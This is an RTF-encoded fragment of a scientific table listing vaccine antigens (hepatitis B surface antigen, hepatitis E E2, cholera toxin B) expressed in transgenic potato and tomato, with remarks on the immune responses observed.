{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\pard\plain \ltrpar
\qc \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid4943116\charrsid16345645 {\*\bkmkstart tbl2}{\*\bkmkend tbl2}Table}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid13640555\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid16345645 1}{\rtlch\fcs1 
\ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid13640555\charrsid16345645 :}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid4943116\charrsid16345645  Production of antigens in transgenic vegetables}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid16582275\charrsid16345645 
\par \ltrrow}\trowd \irow0\irowband0\ltrrow\ts11\trgaph90\trrh208\trleft-100\trhdr\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234
\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr
\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid4160551\charrsid16345645 Disease
\par }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid15082596\charrsid16345645 {\pict{\*\picprop\shplid1029{\sp{\sn shapeType}{\sv 1}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fillColor}{\sv 10070188}}{\sp{\sn fFilled}{\sv 1}}
{\sp{\sn fLine}{\sv 0}}{\sp{\sn dxHeightHR}{\sv 30}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fStandardHR}{\sv 1}}{\sp{\sn fHorizRule}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex864\picscaley6\piccropl0\piccropr0\piccropt0\piccropb0
\picw1764\pich882\picwgoal1000\pichgoal500\wmetafile8\bliptag-1453943903\blipupi-85{\*\blipuid a95693a1a9662986103ec9c6db5fcdb0}
010009000003d000000006001c00000000000400000003010800050000000b0200000000050000000c023900d50f040000002e0118001c000000fb0210000700
00000000bc02000000000102022253797374656d0000089a2e00dc992e0059faa573d0992e00249a2e0012000000040000002d010000040000002d0100000400
0000020101001c000000fb02a4ff0000000000009001000000000440002243616c69627269000000000000000000000000000000000000000000000000000400
00002d010100040000002d010100040000002d010100050000000902000000020d000000320a570000000100040000000000d20f380020003600050000000902
00000002030000001e0007000000fc020000aca899000000040000002d01020008000000fa02050000000000ffffff00040000002d0103000e00000024030500
ffffffffffff3800d50f3800d50fffffffffffff08000000fa0200000000000000000000040000002d01040007000000fc020000ffffff000000040000002d010500040000002701ffff040000002d010000040000002d010000030000000000}}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid4160551\charrsid16345645 \cell }\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}
{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}
{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\ltrrow\pard\plain \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 
\ltrch\fcs0 \b\fs20\insrsid4160551\charrsid16345645 Antigen
\par }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid15082596\charrsid16345645 {\pict{\*\picprop\shplid1030{\sp{\sn shapeType}{\sv 1}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fillColor}{\sv 10070188}}{\sp{\sn fFilled}{\sv 1}}
{\sp{\sn fLine}{\sv 0}}{\sp{\sn dxHeightHR}{\sv 30}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fStandardHR}{\sv 1}}{\sp{\sn fHorizRule}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex864\picscaley6\piccropl0\piccropr0\piccropt0\piccropb0
\picw1764\pich882\picwgoal1000\pichgoal500\wmetafile8\bliptag-1453943903\blipupi-85{\*\blipuid a95693a1a9662986103ec9c6db5fcdb0}
010009000003d000000006001c00000000000400000003010800050000000b0200000000050000000c023900d50f040000002e0118001c000000fb0210000700
00000000bc02000000000102022253797374656d0000089a2e00dc992e0059faa573d0992e00249a2e0012000000040000002d010000040000002d0100000400
0000020101001c000000fb02a4ff0000000000009001000000000440002243616c69627269000000000000000000000000000000000000000000000000000400
00002d010100040000002d010100040000002d010100050000000902000000020d000000320a570000000100040000000000d20f380020003600050000000902
00000002030000001e0007000000fc020000aca899000000040000002d01020008000000fa02050000000000ffffff00040000002d0103000e00000024030500
ffffffffffff3800d50f3800d50fffffffffffff08000000fa0200000000000000000000040000002d01040007000000fc020000ffffff000000040000002d010500040000002701ffff040000002d010000040000002d010000030000000000}}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid4160551\charrsid16345645 \cell }\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}
{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}
{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\ltrrow\pard\plain \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 
\ltrch\fcs0 \b\fs20\insrsid4160551\charrsid16345645 Transgenic plant
\par }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid15082596\charrsid16345645 {\pict{\*\picprop\shplid1031{\sp{\sn shapeType}{\sv 1}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fillColor}{\sv 10070188}}{\sp{\sn fFilled}{\sv 1}}
{\sp{\sn fLine}{\sv 0}}{\sp{\sn dxHeightHR}{\sv 30}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fStandardHR}{\sv 1}}{\sp{\sn fHorizRule}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex864\picscaley6\piccropl0\piccropr0\piccropt0\piccropb0
\picw1764\pich882\picwgoal1000\pichgoal500\wmetafile8\bliptag-1453943903\blipupi-85{\*\blipuid a95693a1a9662986103ec9c6db5fcdb0}
010009000003d000000006001c00000000000400000003010800050000000b0200000000050000000c023900d50f040000002e0118001c000000fb0210000700
00000000bc02000000000102022253797374656d0000089a2e00dc992e0059faa573d0992e00249a2e0012000000040000002d010000040000002d0100000400
0000020101001c000000fb02a4ff0000000000009001000000000440002243616c69627269000000000000000000000000000000000000000000000000000400
00002d010100040000002d010100040000002d010100050000000902000000020d000000320a570000000100040000000000d20f380020003600050000000902
00000002030000001e0007000000fc020000aca899000000040000002d01020008000000fa02050000000000ffffff00040000002d0103000e00000024030500
ffffffffffff3800d50f3800d50fffffffffffff08000000fa0200000000000000000000040000002d01040007000000fc020000ffffff000000040000002d010500040000002701ffff040000002d010000040000002d010000030000000000}}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid4160551\charrsid16345645 \cell }\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}
{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}
{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\ltrrow\pard\plain \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 
\ltrch\fcs0 \b\fs20\insrsid4160551\charrsid16345645 Remarks
\par }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid15082596\charrsid16345645 {\pict{\*\picprop\shplid1032{\sp{\sn shapeType}{\sv 1}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fillColor}{\sv 10070188}}{\sp{\sn fFilled}{\sv 1}}
{\sp{\sn fLine}{\sv 0}}{\sp{\sn dxHeightHR}{\sv 30}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fStandardHR}{\sv 1}}{\sp{\sn fHorizRule}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex864\picscaley6\piccropl0\piccropr0\piccropt0\piccropb0
\picw1764\pich882\picwgoal1000\pichgoal500\wmetafile8\bliptag-1453943903\blipupi-85{\*\blipuid a95693a1a9662986103ec9c6db5fcdb0}
010009000003d000000006001c00000000000400000003010800050000000b0200000000050000000c023900d50f040000002e0118001c000000fb0210000700
00000000bc02000000000102022253797374656d0000089a2e00dc992e0059faa573d0992e00249a2e0012000000040000002d010000040000002d0100000400
0000020101001c000000fb02a4ff0000000000009001000000000440002243616c69627269000000000000000000000000000000000000000000000000000400
00002d010100040000002d010100040000002d010100050000000902000000020d000000320a570000000100040000000000d20f380020003600050000000902
00000002030000001e0007000000fc020000aca899000000040000002d01020008000000fa02050000000000ffffff00040000002d0103000e00000024030500
ffffffffffff3800d50f3800d50fffffffffffff08000000fa0200000000000000000000040000002d01040007000000fc020000ffffff000000040000002d010500040000002701ffff040000002d010000040000002d010000030000000000}}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid4160551\charrsid16345645 \cell }\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta .}}
{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}
{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}\ltrrow\pard\plain \ltrpar
\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 \trowd \irow0\irowband0\ltrrow\ts11\trgaph90\trrh208\trleft-100\trhdr\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234
\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr
\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow1\irowband1\ltrrow\ts11\trgaph90\trrh8\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh
\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Hepatitis B\cell }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\lang1030\langfe1033\langnp1030\insrsid4160551\charrsid16345645 Hepatitis B surface antigen (HBsAg)\cell }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Potato\cell Primary immune response was observed in mice\cell 
}\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \trowd \irow1\irowband1\ltrrow\ts11\trgaph90\trrh8\trleft-100
\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow2\irowband2\ltrrow\ts11\trgaph90\trrh237\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \cell HBsAg\cell Cherry tomato\cell 
Oral immunization to mice primed with commercial vaccine induced significant immune response\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib24}{\*\bkmkend bbib24}\trowd \irow2\irowband2\ltrrow\ts11\trgaph90\trrh237\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh
\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow3\irowband3\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Hepatitis E (HEV)\cell HEV-E2\cell Tomato\cell 
HEV-E2 gene was correctly expressed and antigen had normal immunoactivity\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib48}{\*\bkmkend bbib48}\trowd \irow3\irowband3\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh
\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Cholera\cell 
Cholera toxin B (CTB) subunit fused to an ER retention signal\cell Potato\cell Immunological and biochemical properties were identical to native CTB protein\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1
